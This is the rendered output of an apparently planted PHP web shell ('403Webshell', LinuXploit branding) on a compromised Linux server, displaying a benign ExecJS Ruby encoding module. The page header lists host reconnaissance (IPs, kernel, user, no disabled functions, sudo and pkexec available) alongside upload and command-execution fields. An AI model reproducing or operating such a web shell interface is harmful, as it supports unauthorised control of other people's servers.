403Webshell
Server IP : 172.67.162.67  /  Your IP : 216.73.217.154
Web Server : Apache
System : Linux vps42439 6.8.0-136-generic #136~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 3 16:29:11 UTC x86_64
User : dh_7hi3h9 ( 6349477)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/ruby/vendor_ruby/execjs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/ruby/vendor_ruby/execjs/encoding.rb
module ExecJS
  # Encodes strings as UTF-8
  module Encoding
    if RUBY_ENGINE == 'jruby' || RUBY_ENGINE == 'rbx'
      # workaround for jruby bug http://jira.codehaus.org/browse/JRUBY-6588
      # workaround for rbx bug https://github.com/rubinius/rubinius/issues/1729
      def encode(string)
        if string.encoding.name == 'ASCII-8BIT'
          data = string.dup
          data.force_encoding('UTF-8')

          unless data.valid_encoding?
            raise ::Encoding::UndefinedConversionError, "Could not encode ASCII-8BIT data #{string.dump} as UTF-8"
          end
        else
          data = string.encode('UTF-8')
        end
        data
      end
    else
      def encode(string)
        string.encode('UTF-8')
      end
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit